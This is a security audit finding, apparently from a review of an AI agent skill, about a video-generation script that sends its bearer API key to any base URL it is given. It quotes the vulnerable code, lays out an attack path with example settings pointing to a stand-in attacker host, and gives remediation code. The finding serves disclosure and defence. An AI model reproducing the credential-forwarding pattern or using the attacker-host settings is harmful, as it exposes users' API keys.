T09 · Insecure Skill Coding Practices
- Location
scripts/videogen.py:84- Finding
Arbitrary API Base URL Can Expose the Bearer API Key
- Content
View full analysis
Vulnerability Details
File Location:
scripts/videogen.py, lines 84–89 and 122–129
Vulnerability Type: Unvalidated API endpoint with automatic credential forwarding
Risk Level: HighVulnerable Code
python def _resolve_base_url(self, cli_url): if cli_url: return cli_url.rstrip("/") env_url = os.environ.get("AI_HIVE_BASE_URL") if env_url: return env_url.rstrip("/")python self.headers = { "Authorization": f"Bearer {config.api_key}", "Content-Type": "application/json", }python def _request(self, method, url, **kwargs): self.config.log(f"{method} {url}") try: resp = requests.request( method, url, headers=self.headers, timeout=DEFAULT_TIMEOUT, **kwargs )Technical Analysis
The API base URL can be supplied through the
--base-urlcommand-line option, theAI_HIVE_BASE_URLenvironment variable, or the configuration file. The value is accepted without validating its scheme or hostname.The HTTP client subsequently adds the AI-HIVE API key to every API request through the
Authorization: Bearerheader. Consequently, if the base URL is changed to an attacker-controlled endpoint, the legitimate credential is transmitted to that endpoint. Anhttp://endpoint is also accepted, allowing interception over an unencrypted connection.Although custom endpoints can be useful during development, forwarding a service-specific credential to arbitrary origins violates origin-bound credential handling and creates a credential-exfiltration risk.
Attack Path
- The victim has a valid API key in
AI_HIVE_API_KEYor~/.ai-hive/config.json. - An attacker, malicious instruction, or compromised execution environment supplies an attacker-controlled URL through one of the supported mechanisms:
--base-url http://attacker.example/apiAI_HIVE_BASE_URL=http://attacker.example/api- A modified
base_urlvalue in the configuration file
- The ...[truncated 1149 chars]
- The victim has a valid API key in
- Remediation
View remediation
Remediation Suggestions
- Restrict normal operation to the documented AI-HIVE HTTPS origin:
python from urllib.parse import urlparse TRUSTED_API_HOSTS = {"ai-hive.iclip.cn"} def validate_base_url(value): parsed = urlparse(value) if parsed.scheme != "https": raise SystemExit("The API base URL must use HTTPS.") if parsed.hostname not in TRUSTED_API_HOSTS: raise SystemExit("The API host is not trusted.") if parsed.username or parsed.password: raise SystemExit("Credentials are not permitted in the API URL.") return value.rstrip("/")-
Never attach the AI-HIVE bearer key to an origin that has not passed explicit scheme and hostname validation.
-
If custom endpoints are necessary for development, require a separate explicit option such as
--allow-custom-endpoint, display a prominent warning, and use separate development credentials rather than the production AI-HIVE key. -
Reject redirects to untrusted origins or disable automatic redirects for authenticated requests. If redirects are required, validate every redirect target before forwarding authorization headers.
-
Validate configuration-file values using the same policy applied to command-line and environment values.
-
Avoid accepting plaintext HTTP even for custom endpoints. Require TLS certificate verification and keep the
requestsdefault verification enabled. -
Document the credential-forwarding boundary and add automated tests confirming that HTTP URLs, untrusted hosts, user-info URL components, and malicious redirect targets are rejected.
